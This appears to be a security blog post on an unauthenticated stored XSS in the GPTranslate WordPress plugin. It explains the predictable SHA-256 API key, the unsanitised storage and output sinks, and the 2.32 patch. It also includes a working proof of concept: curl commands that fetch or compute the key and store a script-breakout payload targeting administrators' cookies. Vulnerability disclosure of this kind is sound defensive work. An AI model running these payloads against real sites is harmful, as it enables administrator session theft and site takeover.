GPTranslate WordPress plugin banner

CVE-2026-9109: Unauthenticated Stored XSS in GPTranslate (CVSS 7.2)

Updated 9 min read

CVE-2026-9109 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the GPTranslate WordPress plugin. The plugin protects its public REST endpoint with an API key that is just the SHA-256 hash of the site URL. Any visitor can read this key from the page source — or compute it — then store a malicious script through the REST API. The script runs in an administrator’s browser when they open the affected translation record.

Vulnerability Summary

FieldValue
Plugin NameGPTranslate – Multilingual AI Translation for WordPress
Plugin Sluggptranslate
CVE IDCVE-2026-9109
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 2.31
Patched Version2.32
PublishedJune 12, 2026
Researchermrholmes, papadope
Wordfence AdvisoryLink

Description

The GPTranslate – Multilingual AI Translation for WordPress plugin is vulnerable to Stored Cross-Site Scripting via REST API Translation Storage in all versions up to, and including, 2.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The deterministically derived API key (SHA-256 of the site URL) is printed in the HTML source of every page via the JavaScript variable gptApiKey, meaning any unauthenticated visitor can retrieve the key and submit malicious translation payloads to the /wp-json/gptranslate/v1/request endpoint without any additional precondition.

Technical Analysis

Entry Point — Public REST API Route

The plugin registers a public REST route at /wp-json/gptranslate/v1/request. It accepts POST requests and stores translation data.

// gptranslate.php – line 3470
register_rest_route('gptranslate/v1', '/request', [
    'methods' => 'POST',
    'callback' => 'gpt_handle_request',
    'permission_callback' => 'gptranslate_public_permission'
]);

The route uses a custom permission callback. At first glance this looks like access control. In practice it is not.

The Broken “Authentication” — A Predictable API Key

The permission callback only compares a request header against a fixed value. That value is the SHA-256 hash of the site URL.

// gptranslate.php – line 3578
function gptranslate_public_permission( WP_REST_Request $request ) {
    // 1) Controllo chiave API inviata via header
    $headerApiKey = $request->get_header('x-gptranslate-key');
    $restApiKey = hash( 'sha256', get_site_url() );
    if ( $headerApiKey != $restApiKey) {
        return new WP_Error( 'rest_forbidden', /* ... */ [ 'status' => 403 ] );
    }
    return true;
}

This is not a secret. The site URL is public. An attacker can compute sha256(get_site_url()) for any target without ever visiting it. There is no nonce check, no capability check, and no rate limit. The “key” also uses a weak loose comparison (!=).

The Key Is Printed on Every Page

Even an attacker who does not want to compute the hash can simply read it. The plugin enqueues an inline script on the public front end and prints the key into the page HTML.

// gptranslate.php – line 2017 (enqueued on the public wp_enqueue_scripts hook)
$inlineScript .= '
             var gptApiKey = "' . esc_js(hash( 'sha256', get_site_url() )) . '";

The function that emits this script is hooked to wp_enqueue_scripts, which runs for every visitor. So gptApiKey appears in the source of every front-end page. Any unauthenticated user can open the page, read the variable, and use it.

The Storage Sink — Translations Saved Without Sanitization

The handler gpt_handle_request processes the storetranslations task. It writes the translations value into the plugin’s database table with no HTML sanitization.

// gptranslate.php – line 3621
function gpt_handle_request( WP_REST_Request $request ) {
    global $wpdb;
    $table = $wpdb->prefix . 'gptranslate';
    $params = $request->get_json_params();
    // ...
    $task = sanitize_text_field( $params['task'] ?? '' );

    if ( $task === 'storetranslations' ) {
        // Raw translations string is stored as-is
        $rawFull = $params['translations'] ?? '[]';
        if ( is_string( $rawFull ) && json_decode( $rawFull ) !== null ) {
            $fullTranslations = $rawFull;   // ← stored raw, no esc/sanitize
        } else {
            $fullTranslations = wp_json_encode( (array) $rawFull );
        }
        // ... INSERT/UPDATE $fullTranslations into the table
    }
}

The translation strings are stored exactly as the attacker sends them. HTML tags and script payloads survive untouched.

The Output Sink — The Admin “Manage Translations” Screen

The stored value becomes dangerous when an administrator opens the translation record for editing at admin.php?page=gptranslate&action=edit. The plugin echoes the stored translations into a <script> block.

// gptranslate.php – line 1131
echo '<script>
        const initialTranslations = ' . (json_encode($translationsArray, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}') . ';

The json_encode call uses JSON_UNESCAPED_SLASHES and does not use JSON_HEX_TAG. As a result, a stored </script> sequence is written into the page literally. The browser treats it as the end of the script element. Everything after it is parsed as HTML.

A second, reinforcing sink exists in the admin JavaScript. The populateJsonEditor function writes each translation key and value directly into innerHTML using a template literal.

// assets/js/admin.js
o.innerHTML = `<label ...>${PLG_GPTRANSLATE_ORIGINAL_TEXT}</label>
  <textarea ... class="original">${e}</textarea> ...
  <textarea ... class="translated">${t}</textarea> ...`;

Here e (original text) and t (translated text) come from the attacker-controlled initialTranslations. A payload such as <img src=x onerror=alert(1)> executes through this innerHTML assignment.

Why This Is Exploitable

When a browser parses a page, </script> always closes the current script block — even inside a string literal. Because version 2.31 does not escape < or / in the embedded JSON, a stored value of </script><script>alert(document.cookie)</script> breaks out of the data block and runs.

The attack chain needs no authentication:

  1. The attacker reads gptApiKey from any public page, or computes the SHA-256 of the site URL.
  2. The attacker POSTs a malicious translation to /wp-json/gptranslate/v1/request.
  3. The payload is stored in the database.
  4. An administrator opens the translation record. The script runs in their browser with full admin privileges.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive purposes only. Do not test against any site without explicit written permission from the site owner.

Prerequisites: GPTranslate version ≤ 2.31 is installed and activated on the target WordPress site.

Step 1 — Obtain the API key.

The key is the SHA-256 hash of the site URL. Compute it locally:

printf '%s' 'https://TARGET.COM' | sha256sum | cut -d' ' -f1

Or read it directly from any front-end page:

curl -s "https://TARGET.COM/" | grep -oE 'gptApiKey = "[a-f0-9]{64}"'

Step 2 — Store the XSS payload via the unauthenticated REST endpoint.

curl -s -X POST "https://TARGET.COM/wp-json/gptranslate/v1/request" \
  -H "Content-Type: application/json" \
  -H "x-gptranslate-key: PUT_SHA256_OF_SITE_URL_HERE" \
  -d '{
    "task": "storetranslations",
    "pagelink": "https://TARGET.COM/?gptxss",
    "language_original": "en",
    "language_translated": "fr",
    "translations": "{\"Hello\":\"</script><script>alert(document.cookie)</script>\"}"
  }'

Expected response: {"result":true}

Step 3 — Trigger the XSS as an administrator.

When an admin opens the stored translation record for editing, the payload executes. Navigate (as admin) to the GPTranslate translations list, then open the poisoned record:

https://TARGET.COM/wp-admin/admin.php?page=gptranslate&action=edit&id=<RECORD_ID>

Expected result: The browser executes alert(document.cookie) in the admin context, proving the XSS is active. In a real attack, this payload would be replaced with a script that exfiltrates the admin session cookie or creates a new administrator account.

Verification: Confirm the row was written by querying the plugin table:

SELECT id, translations FROM wp_gptranslate WHERE pagelink LIKE '%gptxss%';
-- The translations column contains the raw </script><script>... payload

Patch Analysis

Version 2.32 fixes the root cause on three fronts. First, the predictable API key is replaced with a cryptographically random secret.

+function gptranslate_get_api_secret() {
+	$secret = get_option( 'gptranslate_api_secret' );
+	if ( empty( $secret ) || ! is_string( $secret ) || strlen( $secret ) < 32 ) {
+		$secret = wp_generate_password( 64, false, false );
+		update_option( 'gptranslate_api_secret', $secret, false );
+	}
+	return $secret;
+}

The permission callback now uses this random secret and compares it in constant time with hash_equals(). It also adds nonce verification for write tasks.

 function gptranslate_public_permission( WP_REST_Request $request ) {
-	$headerApiKey = $request->get_header('x-gptranslate-key');
-	$restApiKey = hash( 'sha256', get_site_url() );
-	if ( $headerApiKey != $restApiKey) {
+	$headerApiKey = (string) $request->get_header('x-gptranslate-key');
+	$restApiKey   = gptranslate_get_api_secret();
+	if ( ! hash_equals( $restApiKey, $headerApiKey ) ) {
 		return new WP_Error( 'rest_forbidden', /* ... */ [ 'status' => 403 ] );
 	}
+
+	// 2) Nonce verification for write operations (CSRF protection)
+	$task = isset( $params['task'] ) ? sanitize_text_field( $params['task'] ) : '';
+	$writeTasks = array( 'storetranslations', 'syncTranslation' );
+	if ( in_array( $task, $writeTasks, true ) ) {
+		$nonce = $request->get_header('X-WP-Nonce');
+		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+			return new WP_Error( 'rest_forbidden_nonce', /* ... */ [ 'status' => 403 ] );
+		}
+	}
 	return true;
 }

Third, the output sink is hardened. The admin <script> block now encodes the JSON with JSON_HEX_TAG | JSON_HEX_AMP, so a stored </script> can no longer break out of the script element.

- const initialTranslations = ' . (json_encode($translationsArray, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}') . ';
+ const initialTranslations = ' . (json_encode($translationsArray, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP) ?: '{}') . ';

Together these changes close the attack. An attacker can no longer guess the API key, write requests now require a valid nonce, and the encoded payload can no longer escape the data context. The random secret is the key fix — it removes the unauthenticated access that made the bug exploitable.

Timeline

DateEvent
June 12, 2026Wordfence advisory published
June 13, 2026Advisory last updated
2026-06-17This blog post published

Remediation

Update GPTranslate to version 2.32 or later immediately. No configuration changes are required after updating.

  1. In your WordPress admin, go to Plugins → Installed Plugins.
  2. Find GPTranslate and click Update Now.
  3. Confirm the version shows 2.32 or higher.

After updating, review existing translation records for unexpected HTML or script content, and remove any poisoned entries. Alternatively, download the patched version directly from wordpress.org/plugins/gptranslate.

References

  1. Wordfence Advisory — CVE-2026-9109
  2. CVE-2026-9109 at cve.org
  3. GPTranslate on WordPress.org
  4. Vulnerable version (2.31) zip
  5. Patched version (2.32) zip
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee